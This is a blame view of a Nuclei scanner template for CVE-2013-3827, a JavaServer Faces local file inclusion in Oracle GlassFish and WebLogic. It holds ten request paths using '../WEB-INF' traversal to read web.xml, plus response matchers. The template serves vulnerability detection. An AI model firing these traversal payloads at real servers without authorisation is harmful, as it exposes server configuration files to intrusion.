daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2013/CVE-2013-3827.yaml

47 lines
1.9 KiB
YAML
Raw Normal View History

Create CVE-2013-3827.yaml
2021-06-30 10:50:41 +00:00
id: CVE-2013-3827
info:
matcher update
2021-07-17 16:14:56 +00:00
name: Javafaces LFI
Create CVE-2013-3827.yaml
2021-06-30 10:50:41 +00:00
author: Random-Robbie
severity: medium
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
description: An Unspecified vulnerability in the Oracle GlassFish Server component in Oracle Fusion Middleware 2.1.1, 3.0.1, and 3.1.2; the Oracle JDeveloper component in Oracle Fusion Middleware 11.1.2.3.0, 11.1.2.4.0,
and 12.1.2.0.0; and the Oracle WebLogic Server component in Oracle Fusion Middleware 10.3.6.0 and 12.1.1 allows remote attackers to affect confidentiality via unknown vectors related to Java Server Faces or Web
Container.
Removed pipe (|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84
2021-08-18 11:37:49 +00:00
reference:
Satisfying the linter (all errors and warnings) * whitespace modifications only
2021-08-19 14:44:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2013-3827
- https://www.exploit-db.com/exploits/38802
Dashboard Text Enhancements (#3773) Dashboard Text Enhancements
2022-02-25 14:32:23 +00:00
- https://www.oracle.com/security-alerts/cpuoct2013.html
classification:
cve-id: CVE-2013-3827
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
tags: cve,cve2013,lfi,javafaces,oracle
Create CVE-2013-3827.yaml
2021-06-30 10:50:41 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF"
- "{{BaseURL}}/costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."
- "{{BaseURL}}/faces/javax.faces.resource/web.xml?loc=../WEB-INF"
- "{{BaseURL}}/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."
- "{{BaseURL}}/secureader/javax.faces.resource/web.xml?loc=../WEB-INF"
- "{{BaseURL}}/secureader/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."
- "{{BaseURL}}/myaccount/javax.faces.resource/web.xml?loc=../WEB-INF"
- "{{BaseURL}}/myaccount/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."
- "{{BaseURL}}/SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF"
- "{{BaseURL}}/SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."
matcher update
2021-07-17 16:14:56 +00:00
Added stop-at-first-match in applicable templates
2021-09-02 11:59:10 +00:00
stop-at-first-match: true
Create CVE-2013-3827.yaml
2021-06-30 10:50:41 +00:00
matchers-condition: and
matchers:
- type: word
words:
matcher update
2021-07-17 16:14:56 +00:00
- "<web-app"
- "</web-app>"
Create CVE-2013-3827.yaml
2021-06-30 10:50:41 +00:00
part: body
matcher update
2021-07-17 16:14:56 +00:00
condition: and
- type: status
status:
Dashboard Text Enhancements (#3773) Dashboard Text Enhancements
2022-02-25 14:32:23 +00:00
- 200
# Enhanced by mp on 2022/02/23